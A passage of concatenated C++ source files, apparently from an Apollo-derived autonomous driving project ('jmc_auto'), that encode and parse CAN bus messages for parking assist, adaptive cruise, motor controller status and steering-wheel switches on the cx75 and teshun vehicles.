fun(sonar04); fun(sonar05); fun(sonar06); fun(sonar07); fun(sonar08); fun(sonar09); fun(sonar10); fun(sonar11); fun(sonar_enabled); fun(sonar_fault); fun(sonar_range); fun(sonar); } template<typename F> void enumerate(F& fun) const { fun(cross_traffic_alert_left); fun(cross_traffic_alert_left_enabled); fun(blind_spot_left_alert); fun(blind_spot_left_alert_enabled); fun(cross_traffic_alert_right); fun(cross_traffic_alert_right_enabled); fun(blind_spot_right_alert); fun(blind_spot_right_alert_enabled); fun(sonar00); fun(sonar01); fun(sonar02); fun(sonar03); fun(sonar04); fun(sonar05); fun(sonar06); fun(sonar07); fun(sonar08); fun(sonar09); fun(sonar10); fun(sonar11); fun(sonar_enabled); fun(sonar_fault); fun(sonar_range); fun(sonar); } bool operator == (const ::Surround& t) const { return (cross_traffic_alert_left == t.cross_traffic_alert_left) && (cross_traffic_alert_left_enabled == t.cross_traffic_alert_left_enabled) && (blind_spot_left_alert == t.blind_spot_left_alert) && (blind_spot_left_alert_enabled == t.blind_spot_left_alert_enabled) && (cross_traffic_alert_right == t.cross_traffic_alert_right) && (cross_traffic_alert_right_enabled == t.cross_traffic_alert_right_enabled) && (blind_spot_right_alert == t.blind_spot_right_alert) && (blind_spot_right_alert_enabled == t.blind_spot_right_alert_enabled) && (sonar00 == t.sonar00) && (sonar01 == t.sonar01) && (sonar02 == t.sonar02) && (sonar03 == t.sonar03) && (sonar04 == t.sonar04) && (sonar05 == t.sonar05) && (sonar06 == t.sonar06) && (sonar07 == t.sonar07) && (sonar08 == t.sonar08) && (sonar09 == t.sonar09) && (sonar10 == t.sonar10) && (sonar11 == t.sonar11) && (sonar_enabled == t.sonar_enabled) && (sonar_fault == t.sonar_fault) && (sonar_range == t.sonar_range) && (sonar == t.sonar); } }; #endif // impl_type_surround_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/pam_0x270_270.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; const int32_t Pam0x270270::ID = 0x270; // public Pam0x270270::Pam0x270270() { Reset(); } uint32_t Pam0x270270::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Pam0x270270::UpdateData(uint8_t* data) { set_p_pam_esp_target_gear_request(data, pam_esp_target_gear_request_); set_p_pam_brakefunctionmode(data, pam_brakefunctionmode_); set_p_stopstartinhibit_apa(data, stopstartinhibit_apa_); set_p_pam_apaf(data, pam_apaf_); set_p_pam_cmdepssts(data, pam_cmdepssts_); set_p_pam_sts(data, pam_sts_); set_p_pam_brakemodests(data, pam_brakemodests_); set_p_pam_failurebrakemode(data, pam_failurebrakemode_); set_p_pam_esp_speed_target(data, pam_esp_speed_target_); set_p_pam_esp_stop_distance(data, pam_esp_stop_distance_); set_p_rolling_counter_0x270(data, rolling_counter_0x270_); set_p_checksum_0x270(data, checksum_0x270_); set_p_pam_trgtepsstrgwhlang(data, pam_trgtepsstrgwhlang_); } void Pam0x270270::Reset() { // TODO you should check this manually pam_esp_target_gear_request_ = Pam_0x270_270::PAM_ESP_TARGET_GEAR_REQUEST_PARK; pam_brakefunctionmode_ = Pam_0x270_270::PAM_BRAKEFUNCTIONMODE_NO_ACTION; stopstartinhibit_apa_ = Pam_0x270_270::STOPSTARTINHIBIT_APA_FALSE; pam_apaf_ = Pam_0x270_270::PAM_APAF_NORMAL; //pam_cmdepssts_ = Pam_0x270_270::PAM_CMDEPSSTS_CONTROL_EPS_REQUEST; pam_cmdepssts_ = Pam_0x270_270::PAM_CMDEPSSTS_NO_REQUEST; pam_sts_ = Pam_0x270_270::PAM_STS_OFF; pam_brakemodests_ = Pam_0x270_270::PAM_BRAKEMODESTS_INIT; pam_failurebrakemode_ = Pam_0x270_270::PAM_FAILUREBRAKEMODE_IDLE_NO_BRAKING; pam_esp_speed_target_ = 0; pam_esp_stop_distance_ = 0; rolling_counter_0x270_ = 0; checksum_0x270_ = 0; pam_trgtepsstrgwhlang_ = 0; } Pam0x270270* Pam0x270270::set_pam_esp_target_gear_request( Pam_0x270_270::Pam_esp_target_gear_requestType pam_esp_target_gear_request) { pam_esp_target_gear_request_ = pam_esp_target_gear_request; return this; } // config detail: {'name': 'PAM_ESP_Target_Gear_Request', 'enum': {0: 'PAM_ESP_TARGET_GEAR_REQUEST_NO_REQUEST', 1: 'PAM_ESP_TARGET_GEAR_REQUEST_PARK', 2: 'PAM_ESP_TARGET_GEAR_REQUEST_REVERSE', 3: 'PAM_ESP_TARGET_GEAR_REQUEST_NEUTRAL', 4: 'PAM_ESP_TARGET_GEAR_REQUEST_DRIVE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_pam_esp_target_gear_request(uint8_t* data, Pam_0x270_270::Pam_esp_target_gear_requestType pam_esp_target_gear_request) { int x = pam_esp_target_gear_request; Byte to_set(data + 2); to_set.set_value(x, 0, 3); } Pam0x270270* Pam0x270270::set_pam_brakefunctionmode( Pam_0x270_270::Pam_brakefunctionmodeType pam_brakefunctionmode) { pam_brakefunctionmode_ = pam_brakefunctionmode; return this; } // config detail: {'name': 'PAM_BrakeFunctionMode', 'enum': {0: 'PAM_BRAKEFUNCTIONMODE_NO_ACTION', 1: 'PAM_BRAKEFUNCTIONMODE_AUTOMATICPARK'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_pam_brakefunctionmode(uint8_t* data, Pam_0x270_270::Pam_brakefunctionmodeType pam_brakefunctionmode) { int x = pam_brakefunctionmode; Byte to_set(data + 2); to_set.set_value(x, 3, 1); } Pam0x270270* Pam0x270270::set_stopstartinhibit_apa( Pam_0x270_270::Stopstartinhibit_apaType stopstartinhibit_apa) { stopstartinhibit_apa_ = stopstartinhibit_apa; return this; } // config detail: {'name': 'StopStartInhibit_APA', 'enum': {0: 'STOPSTARTINHIBIT_APA_FALSE', 1: 'STOPSTARTINHIBIT_APA_TRUE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_stopstartinhibit_apa(uint8_t* data, Pam_0x270_270::Stopstartinhibit_apaType stopstartinhibit_apa) { int x = stopstartinhibit_apa; Byte to_set(data + 2); to_set.set_value(x, 4, 1); } Pam0x270270* Pam0x270270::set_pam_apaf( Pam_0x270_270::Pam_apafType pam_apaf) { pam_apaf_ = pam_apaf; return this; } // config detail: {'name': 'PAM_APAF', 'enum': {0: 'PAM_APAF_NORMAL', 1: 'PAM_APAF_APA_FAILURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_pam_apaf(uint8_t* data, Pam_0x270_270::Pam_apafType pam_apaf) { int x = pam_apaf; Byte to_set(data + 2); to_set.set_value(x, 5, 1); } Pam0x270270* Pam0x270270::set_pam_cmdepssts( Pam_0x270_270::Pam_cmdepsstsType pam_cmdepssts) { pam_cmdepssts_ = pam_cmdepssts; return this; } // config detail: {'name': 'PAM_CmdEPSSts', 'enum': {0: 'PAM_CMDEPSSTS_NO_REQUEST', 1: 'PAM_CMDEPSSTS_CONTROL_EPS_REQUEST', 2: 'PAM_CMDEPSSTS_EPS_CONTROL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_pam_cmdepssts(uint8_t* data, Pam_0x270_270::Pam_cmdepsstsType pam_cmdepssts) { int x = pam_cmdepssts; Byte to_set(data + 2); to_set.set_value(x, 6, 2); } Pam0x270270* Pam0x270270::set_pam_sts( Pam_0x270_270::Pam_stsType pam_sts) { pam_sts_ = pam_sts; return this; } // config detail: {'name': 'PAM_Sts', 'enum': {0: 'PAM_STS_OFF', 1: 'PAM_STS_STANDBY_STANDBY_ENABLE', 2: 'PAM_STS_SEARCHING_ENABLE', 3: 'PAM_STS_GUIDANCE_ACTIVE_ACTIVE', 4: 'PAM_STS_COMPLETED', 5: 'PAM_STS_FAILURE_DISABLE', 6: 'PAM_STS_TERMINATED', 7: 'PAM_STS_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_pam_sts(uint8_t* data, Pam_0x270_270::Pam_stsType pam_sts) { int x = pam_sts; Byte to_set(data + 3); to_set.set_value(x, 0, 3); } Pam0x270270* Pam0x270270::set_pam_brakemodests( Pam_0x270_270::Pam_brakemodestsType pam_brakemodests) { pam_brakemodests_ = pam_brakemodests; return this; } // config detail: {'name': 'PAM_BrakeModeSts', 'enum': {0: 'PAM_BRAKEMODESTS_INIT', 1: 'PAM_BRAKEMODESTS_STANDBY', 2: 'PAM_BRAKEMODESTS_ACTIVE', 3: 'PAM_BRAKEMODESTS_MANEUVERFINISHED', 4: 'PAM_BRAKEMODESTS_SUSPEND', 5: 'PAM_BRAKEMODESTS_ABORT'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_pam_brakemodests(uint8_t* data, Pam_0x270_270::Pam_brakemodestsType pam_brakemodests) { int x = pam_brakemodests; Byte to_set(data + 3); to_set.set_value(x, 3, 3); } Pam0x270270* Pam0x270270::set_pam_failurebrakemode( Pam_0x270_270::Pam_failurebrakemodeType pam_failurebrakemode) { pam_failurebrakemode_ = pam_failurebrakemode; return this; } // config detail: {'name': 'PAM_FailureBrakeMode', 'enum': {0: 'PAM_FAILUREBRAKEMODE_IDLE_NO_BRAKING', 1: 'PAM_FAILUREBRAKEMODE_COMFORTABLE_RESERVED', 2: 'PAM_FAILUREBRAKEMODE_EMERGENCY', 3: 'PAM_FAILUREBRAKEMODE_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_pam_failurebrakemode(uint8_t* data, Pam_0x270_270::Pam_failurebrakemodeType pam_failurebrakemode) { int x = pam_failurebrakemode; Byte to_set(data + 3); to_set.set_value(x, 6, 2); } Pam0x270270* Pam0x270270::set_pam_esp_speed_target( float pam_esp_speed_target) { pam_esp_speed_target_ = pam_esp_speed_target; return this; } // config detail: {'name': 'PAM_ESP_Speed_Target', 'enum': {255: 'PAM_ESP_SPEED_TARGET_INVALID'}, 'precision': 0.1, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|25.4]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'kph'} void Pam0x270270::set_p_pam_esp_speed_target(uint8_t* data, float pam_esp_speed_target) { int x = pam_esp_speed_target / 0.100000; Byte to_set(data + 4); to_set.set_value(x, 0, 8); } Pam0x270270* Pam0x270270::set_pam_esp_stop_distance( int pam_esp_stop_distance) { pam_esp_stop_distance_ = pam_esp_stop_distance; return this; } // config detail: {'name': 'PAM_ESP_Stop_Distance', 'enum': {4095: 'PAM_ESP_STOP_DISTANCE_INVALID'}, 'precision': 1.0, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4094]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'cm'} void Pam0x270270::set_p_pam_esp_stop_distance(uint8_t* data, int pam_esp_stop_distance) { int x = pam_esp_stop_distance; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 6); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 5); to_set1.set_value(t, 0, 8); } Pam0x270270* Pam0x270270::set_rolling_counter_0x270( int rolling_counter_0x270) { rolling_counter_0x270_ = rolling_counter_0x270; return this; } // config detail: {'name': 'Rolling_counter_0x270', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_rolling_counter_0x270(uint8_t* data, int rolling_counter_0x270) { rolling_counter_0x270_++; rolling_counter_0x270_=rolling_counter_0x270_<=15?rolling_counter_0x270_:0; rolling_counter_0x270_ = ProtocolData::BoundedValue(0, 15, rolling_counter_0x270_); int x = rolling_counter_0x270_; Byte to_set(data + 6); to_set.set_value(x, 0, 4); } Pam0x270270* Pam0x270270::set_checksum_0x270( int checksum_0x270) { checksum_0x270_ = checksum_0x270; return this; } // config detail: {'name': 'Checksum_0x270', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void Pam0x270270::set_p_checksum_0x270(uint8_t* data, int checksum_0x270) { checksum_0x270 = (data[0]^data[1]^data[2]^data[3]^data[4]^data[5]^data[6]); checksum_0x270 = ProtocolData::BoundedValue(0, 255, checksum_0x270); int x = checksum_0x270; Byte to_set(data + 7); to_set.set_value(x, 0, 8); } Pam0x270270* Pam0x270270::set_pam_trgtepsstrgwhlang( double pam_trgtepsstrgwhlang) { pam_trgtepsstrgwhlang_ = pam_trgtepsstrgwhlang; return this; } // config detail: {'name': 'PAM_TrgtEPSStrgWhlAng', 'enum': {65535: 'PAM_TRGTEPSSTRGWHLANG_INVALID'}, 'precision': 0.0238, 'len': 16, 'is_signed_var': False, 'offset': -780.0, 'physical_range': '[-780|779.7092]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'deg'} void Pam0x270270::set_p_pam_trgtepsstrgwhlang(uint8_t* data, double pam_trgtepsstrgwhlang) { int x = (pam_trgtepsstrgwhlang - -780.000000) / 0.023800; uint8_t t = 0; t = x & 0xFF; Byte to_set0(data + 1); to_set0.set_value(t, 0, 8); x >>= 8; t = x & 0xFF; Byte to_set1(data + 0); to_set1.set_value(t, 0, 8); } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_MCU_OUTPUT_0X225_225_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_MCU_OUTPUT_0X225_225_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Gwmcuoutput0x225225 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwmcuoutput0x225225(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x225', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x225(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_Counter_0x225', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x225(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MCU_Work_STS', 'enum': {0: 'MCU_WORK_STS_CONSUM', 1: 'MCU_WORK_STS_GENERATE', 2: 'MCU_WORK_STS_OFF', 3: 'MCU_WORK_STS_READY', 4: 'MCU_WORK_STS_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 34, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mcu_output_0x225_225::Mcu_work_stsType mcu_work_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MCU_CtrMode_STS', 'enum': {0: 'MCU_CTRMODE_STS_INITIALIZATION', 1: 'MCU_CTRMODE_STS_PRECHARGE', 2: 'MCU_CTRMODE_STS_DISABLE', 3: 'MCU_CTRMODE_STS_STANDBY', 4: 'MCU_CTRMODE_STS_ANTISLIP', 5: 'MCU_CTRMODE_STS_ALOFFSETCAL', 7: 'MCU_CTRMODE_STS_NCTLINT', 8: 'MCU_CTRMODE_STS_TRQCT', 9: 'MCU_CTRMODE_STS_ASCACTIVE', 11: 'MCU_CTRMODE_STS_AFTERRUN', 12: 'MCU_CTRMODE_STS_PREFAILURE', 13: 'MCU_CTRMODE_STS_FAILURE', 14: 'MCU_CTRMODE_STS_DISCHARGE'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mcu_output_0x225_225::Mcu_ctrmode_stsType mcu_ctrmode_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MCU_Capacitor_STS', 'enum': {0: 'MCU_CAPACITOR_STS_FORBIDCHARGE', 1: 'MCU_CAPACITOR_STS_WAITCHARGE', 2: 'MCU_CAPACITOR_STS_ALLOWDISCHARGE', 3: 'MCU_CAPACITOR_STS_FORBIDDISCHARGE', 4: 'MCU_CAPACITOR_STS_ERRORDISCHARGE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mcu_output_0x225_225::Mcu_capacitor_stsType mcu_capacitor_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MCU_Spd_MEAS', 'offset': -15000.0, 'precision': 1.0, 'len': 15, 'is_signed_var': False, 'physical_range': '[-15000|15000]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': 'rpm'} int mcu_spd_meas(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MCU_Trq_MEAS', 'offset': -2000.0, 'precision': 1.0, 'len': 12, 'is_signed_var': False, 'physical_range': '[-2000|2000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int mcu_trq_meas(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_GW_MCU_OUTPUT_0X225_225_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_0X238_238_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_0X238_238_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Mrr0x238238 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Mrr0x238238(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; void checksum_rolling(); // config detail: {'name': 'ACC_TgtAxLowerComftBand', 'offset': 0.0, 'precision': 0.05, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|3.2]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} Mrr0x238238* set_acc_tgtaxlowercomftband(double acc_tgtaxlowercomftband); // config detail: {'name': 'ACC_TgtAxUpperLim', 'offset': 0.0, 'precision': 0.1, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|12.7]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s3'} Mrr0x238238* set_acc_tgtaxupperlim(double acc_tgtaxupperlim); // config detail: {'name': 'ACC_TgtAxLowerLim', 'offset': -12.7, 'precision': 0.1, 'len': 8, 'is_signed_var': False, 'physical_range': '[-12.7|0]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s3'} Mrr0x238238* set_acc_tgtaxlowerlim(double acc_tgtaxlowerlim); // config detail: {'name': 'ACC_TgtAx', 'offset': -5.0, 'precision': 0.05, 'len': 11, 'is_signed_var': False, 'physical_range': '[-5|7.75]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} Mrr0x238238* set_acc_tgtax(double acc_tgtax); // config detail: {'name': 'Rolling_counter_0x238', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Mrr0x238238* set_rolling_counter_0x238(int rolling_counter_0x238); // config detail: {'name': 'Checksum_0x238', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Mrr0x238238* set_checksum_0x238(int checksum_0x238); // config detail: {'name': 'ACC_TgtAxUpperComftBand', 'offset': 0.0, 'precision': 0.05, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|3.2]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} Mrr0x238238* set_acc_tgtaxuppercomftband(double acc_tgtaxuppercomftband); private: // config detail: {'name': 'ACC_TgtAxLowerComftBand', 'offset': 0.0, 'precision': 0.05, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|3.2]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} void set_p_acc_tgtaxlowercomftband(uint8_t* data, double acc_tgtaxlowercomftband); // config detail: {'name': 'ACC_TgtAxUpperLim', 'offset': 0.0, 'precision': 0.1, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|12.7]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s3'} void set_p_acc_tgtaxupperlim(uint8_t* data, double acc_tgtaxupperlim); // config detail: {'name': 'ACC_TgtAxLowerLim', 'offset': -12.7, 'precision': 0.1, 'len': 8, 'is_signed_var': False, 'physical_range': '[-12.7|0]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s3'} void set_p_acc_tgtaxlowerlim(uint8_t* data, double acc_tgtaxlowerlim); // config detail: {'name': 'ACC_TgtAx', 'offset': -5.0, 'precision': 0.05, 'len': 11, 'is_signed_var': False, 'physical_range': '[-5|7.75]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} void set_p_acc_tgtax(uint8_t* data, double acc_tgtax); // config detail: {'name': 'Rolling_counter_0x238', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_rolling_counter_0x238(uint8_t* data, int rolling_counter_0x238); // config detail: {'name': 'Checksum_0x238', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_checksum_0x238(uint8_t* data, int checksum_0x238); // config detail: {'name': 'ACC_TgtAxUpperComftBand', 'offset': 0.0, 'precision': 0.05, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|3.2]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} void set_p_acc_tgtaxuppercomftband(uint8_t* data, double acc_tgtaxuppercomftband); private: double acc_tgtaxlowercomftband_; double acc_tgtaxupperlim_; double acc_tgtaxlowerlim_; double acc_tgtax_; int rolling_counter_0x238_; int checksum_0x238_; double acc_tgtaxuppercomftband_; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_MRR_0X238_238_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_swm_mrr_0x31b_31b.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwswmmrr0x31b31b::Gwswmmrr0x31b31b() {} const int32_t Gwswmmrr0x31b31b::ID = 0x31B; void Gwswmmrr0x31b31b::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_acctaugapsetplus(swm_acctaugapsetplus(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_accvsetminus(swm_accvsetminus(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_shiftpadrequp(swm_shiftpadrequp(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_acclimphomests(swm_acclimphomests(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_laneassistswitch(swm_laneassistswitch(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_acctaugapsetminus(swm_acctaugapsetminus(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_accvsetplus(swm_accvsetplus(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_shiftpadflt(swm_shiftpadflt(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_accdeactivate(swm_accdeactivate(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_accresume(swm_accresume(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_accset(swm_accset(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_rolling_counter_0x31b(rolling_counter_0x31b(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_accenableswitch(swm_accenableswitch(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_checksum_0x31b(checksum_0x31b(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_accresume_qt(swm_accresume_qt(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_tjaswitch(swm_tjaswitch(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_mrr_0x31b_31b()->set_swm_shiftpadreqdown(swm_shiftpadreqdown(bytes, length)); } // config detail: {'name': 'swm_acctaugapsetplus', 'enum': {0: 'SWM_ACCTAUGAPSETPLUS_NO_PRESS', 1: 'SWM_ACCTAUGAPSETPLUS_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_acctaugapsetplusType Gwswmmrr0x31b31b::swm_acctaugapsetplus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 1); Gw_swm_mrr_0x31b_31b::Swm_acctaugapsetplusType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_acctaugapsetplusType>(x); return ret; } // config detail: {'name': 'swm_accvsetminus', 'enum': {0: 'SWM_ACCVSETMINUS_NO_PRESS', 1: 'SWM_ACCVSETMINUS_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 